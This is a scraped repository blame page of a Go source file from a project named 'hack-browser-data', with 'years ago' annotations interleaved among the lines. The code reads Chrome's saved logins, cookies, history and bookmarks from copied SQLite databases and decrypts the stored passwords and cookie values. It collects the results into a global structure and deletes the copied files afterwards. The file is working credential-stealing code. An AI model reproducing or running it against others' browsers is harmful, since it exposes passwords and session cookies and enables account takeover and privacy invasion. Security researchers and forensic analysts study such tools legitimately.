You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
281 lines
6.3 KiB
281 lines
6.3 KiB
4 years ago
|
package core
|
||
5 years ago
|
|
||
|
import (
|
||
|
"database/sql"
|
||
|
"hack-browser-data/log"
|
||
|
"hack-browser-data/utils"
|
||
4 years ago
|
"os"
|
||
4 years ago
|
"sort"
|
||
4 years ago
|
"time"
|
||
5 years ago
|
|
||
|
_ "github.com/mattn/go-sqlite3"
|
||
4 years ago
|
"github.com/tidwall/gjson"
|
||
5 years ago
|
)
|
||
|
|
||
|
const (
|
||
|
Chrome = "Chrome"
|
||
|
Safari = "Safari"
|
||
|
)
|
||
|
|
||
4 years ago
|
const (
|
||
|
bookmarkID = "id"
|
||
|
bookmarkAdded = "date_added"
|
||
|
bookmarkUrl = "url"
|
||
|
bookmarkName = "name"
|
||
|
bookmarkType = "type"
|
||
|
bookmarkChildren = "children"
|
||
|
)
|
||
|
|
||
4 years ago
|
var (
|
||
|
FullData = new(BrowserData)
|
||
|
)
|
||
|
|
||
5 years ago
|
type (
|
||
|
BrowserData struct {
|
||
|
BrowserName string
|
||
4 years ago
|
LoginDataSlice
|
||
|
BookmarkSlice
|
||
|
CookieMap
|
||
|
HistorySlice
|
||
5 years ago
|
}
|
||
4 years ago
|
LoginDataSlice []loginData
|
||
|
BookmarkSlice []bookmarks
|
||
|
CookieMap map[string][]cookies
|
||
|
HistorySlice []history
|
||
|
loginData struct {
|
||
4 years ago
|
UserName string
|
||
4 years ago
|
encryptPass []byte
|
||
4 years ago
|
Password string
|
||
|
LoginUrl string
|
||
|
CreateDate time.Time
|
||
5 years ago
|
}
|
||
4 years ago
|
bookmarks struct {
|
||
|
ID int64
|
||
4 years ago
|
DateAdded time.Time
|
||
|
URL string
|
||
|
Name string
|
||
|
Type string
|
||
5 years ago
|
}
|
||
4 years ago
|
cookies struct {
|
||
4 years ago
|
KeyName string
|
||
|
encryptValue []byte
|
||
|
Value string
|
||
|
Host string
|
||
|
Path string
|
||
|
IsSecure bool
|
||
|
IsHTTPOnly bool
|
||
|
HasExpire bool
|
||
|
IsPersistent bool
|
||
|
CreateDate time.Time
|
||
|
ExpireDate time.Time
|
||
5 years ago
|
}
|
||
4 years ago
|
history struct {
|
||
4 years ago
|
Url string
|
||
|
Title string
|
||
|
VisitCount int
|
||
|
LastVisitTime time.Time
|
||
5 years ago
|
}
|
||
|
)
|
||
|
|
||
4 years ago
|
func ChromeDB(dbname string) {
|
||
4 years ago
|
switch dbname {
|
||
|
case utils.LoginData:
|
||
4 years ago
|
parseLogin()
|
||
4 years ago
|
case utils.Bookmarks:
|
||
|
parseBookmarks()
|
||
4 years ago
|
case utils.Cookies:
|
||
|
parseCookie()
|
||
4 years ago
|
case utils.History:
|
||
|
parseHistory()
|
||
4 years ago
|
}
|
||
|
}
|
||
|
|
||
4 years ago
|
var bookmarkList BookmarkSlice
|
||
|
|
||
4 years ago
|
func parseBookmarks() {
|
||
|
bookmarks, err := utils.ReadFile(utils.Bookmarks)
|
||
4 years ago
|
defer os.Remove(utils.Bookmarks)
|
||
4 years ago
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
r := gjson.Parse(bookmarks)
|
||
|
if r.Exists() {
|
||
|
roots := r.Get("roots")
|
||
|
roots.ForEach(func(key, value gjson.Result) bool {
|
||
4 years ago
|
getBookmarkChildren(value)
|
||
4 years ago
|
return true
|
||
|
})
|
||
|
}
|
||
4 years ago
|
sort.Slice(bookmarkList, func(i, j int) bool {
|
||
|
return bookmarkList[i].ID < bookmarkList[j].ID
|
||
|
})
|
||
|
FullData.BookmarkSlice = bookmarkList
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
var queryLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
|
||
4 years ago
|
|
||
4 years ago
|
func parseLogin() {
|
||
4 years ago
|
var loginItemList LoginDataSlice
|
||
|
login := loginData{}
|
||
4 years ago
|
loginDB, err := sql.Open("sqlite3", utils.LoginData)
|
||
4 years ago
|
defer os.Remove(utils.LoginData)
|
||
5 years ago
|
defer func() {
|
||
4 years ago
|
if err := loginDB.Close(); err != nil {
|
||
5 years ago
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
4 years ago
|
err = loginDB.Ping()
|
||
|
rows, err := loginDB.Query(queryLogin)
|
||
5 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
4 years ago
|
url, username, password string
|
||
|
pwd []byte
|
||
|
create int64
|
||
5 years ago
|
)
|
||
4 years ago
|
err = rows.Scan(&url, &username, &pwd, &create)
|
||
4 years ago
|
login = loginData{
|
||
5 years ago
|
UserName: username,
|
||
4 years ago
|
encryptPass: pwd,
|
||
5 years ago
|
LoginUrl: url,
|
||
4 years ago
|
CreateDate: utils.TimeEpochFormat(create),
|
||
5 years ago
|
}
|
||
4 years ago
|
password, err = utils.DecryptChromePass(pwd)
|
||
4 years ago
|
login.Password = password
|
||
5 years ago
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
4 years ago
|
loginItemList = append(loginItemList, login)
|
||
5 years ago
|
}
|
||
4 years ago
|
sort.Sort(loginItemList)
|
||
|
FullData.LoginDataSlice = loginItemList
|
||
5 years ago
|
}
|
||
4 years ago
|
|
||
4 years ago
|
var queryCookie = `SELECT name, encrypted_value, host_key, path, creation_utc, expires_utc, is_secure, is_httponly, has_expires, is_persistent FROM cookies`
|
||
4 years ago
|
|
||
|
func parseCookie() {
|
||
4 years ago
|
cookie := cookies{}
|
||
|
cookieMap := make(map[string][]cookies)
|
||
4 years ago
|
cookieDB, err := sql.Open("sqlite3", utils.Cookies)
|
||
4 years ago
|
defer os.Remove(utils.Cookies)
|
||
4 years ago
|
defer func() {
|
||
|
if err := cookieDB.Close(); err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
err = cookieDB.Ping()
|
||
|
rows, err := cookieDB.Query(queryCookie)
|
||
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
|
key, host, path, value string
|
||
4 years ago
|
isSecure, isHTTPOnly, hasExpire, isPersistent int
|
||
4 years ago
|
createDate, expireDate int64
|
||
|
encryptValue []byte
|
||
|
)
|
||
|
err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
|
||
4 years ago
|
cookie = cookies{
|
||
4 years ago
|
KeyName: key,
|
||
|
Host: host,
|
||
|
Path: path,
|
||
|
encryptValue: encryptValue,
|
||
4 years ago
|
IsSecure: utils.IntToBool(isSecure),
|
||
|
IsHTTPOnly: utils.IntToBool(isHTTPOnly),
|
||
|
HasExpire: utils.IntToBool(hasExpire),
|
||
|
IsPersistent: utils.IntToBool(isPersistent),
|
||
4 years ago
|
CreateDate: utils.TimeEpochFormat(createDate),
|
||
|
ExpireDate: utils.TimeEpochFormat(expireDate),
|
||
|
}
|
||
4 years ago
|
// remove prefix 'v10'
|
||
|
value, err = utils.DecryptChromePass(encryptValue)
|
||
4 years ago
|
cookie.Value = value
|
||
|
if _, ok := cookieMap[host]; ok {
|
||
|
cookieMap[host] = append(cookieMap[host], cookie)
|
||
|
} else {
|
||
|
cookieMap[host] = []cookies{cookie}
|
||
|
}
|
||
4 years ago
|
}
|
||
4 years ago
|
FullData.CookieMap = cookieMap
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
var queryHistory = `SELECT url, title, visit_count, last_visit_time FROM urls`
|
||
4 years ago
|
|
||
4 years ago
|
func parseHistory() {
|
||
4 years ago
|
var historyList HistorySlice
|
||
|
h := history{}
|
||
4 years ago
|
historyDB, err := sql.Open("sqlite3", utils.History)
|
||
4 years ago
|
defer os.Remove(utils.History)
|
||
4 years ago
|
defer func() {
|
||
|
if err := historyDB.Close(); err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
err = historyDB.Ping()
|
||
4 years ago
|
rows, err := historyDB.Query(queryHistory)
|
||
4 years ago
|
defer func() {
|
||
|
if err := rows.Close(); err != nil {
|
||
|
log.Println(err)
|
||
|
}
|
||
|
}()
|
||
|
for rows.Next() {
|
||
|
var (
|
||
|
url, title string
|
||
|
visitCount int
|
||
|
lastVisitTime int64
|
||
|
)
|
||
|
err := rows.Scan(&url, &title, &visitCount, &lastVisitTime)
|
||
4 years ago
|
h = history{
|
||
4 years ago
|
Url: url,
|
||
|
Title: title,
|
||
|
VisitCount: visitCount,
|
||
|
LastVisitTime: utils.TimeEpochFormat(lastVisitTime),
|
||
|
}
|
||
|
if err != nil {
|
||
|
log.Println(err)
|
||
|
continue
|
||
|
}
|
||
4 years ago
|
historyList = append(historyList, h)
|
||
4 years ago
|
}
|
||
4 years ago
|
sort.Slice(historyList, func(i, j int) bool {
|
||
|
return historyList[i].VisitCount > historyList[j].VisitCount
|
||
|
})
|
||
|
FullData.HistorySlice = historyList
|
||
4 years ago
|
}
|
||
|
|
||
4 years ago
|
func getBookmarkChildren(value gjson.Result) (children gjson.Result) {
|
||
4 years ago
|
b := bookmarks{}
|
||
|
b.ID = value.Get(bookmarkID).Int()
|
||
4 years ago
|
nodeType := value.Get(bookmarkType)
|
||
|
b.DateAdded = utils.TimeEpochFormat(value.Get(bookmarkAdded).Int())
|
||
|
b.URL = value.Get(bookmarkUrl).String()
|
||
|
b.Name = value.Get(bookmarkName).String()
|
||
|
children = value.Get(bookmarkChildren)
|
||
|
if nodeType.Exists() {
|
||
|
b.Type = nodeType.String()
|
||
|
bookmarkList = append(bookmarkList, b)
|
||
|
if children.Exists() && children.IsArray() {
|
||
|
for _, v := range children.Array() {
|
||
|
children = getBookmarkChildren(v)
|
||
|
}
|
||
|
}
|
||
|
}
|
||
|
return children
|
||
4 years ago
|
}
|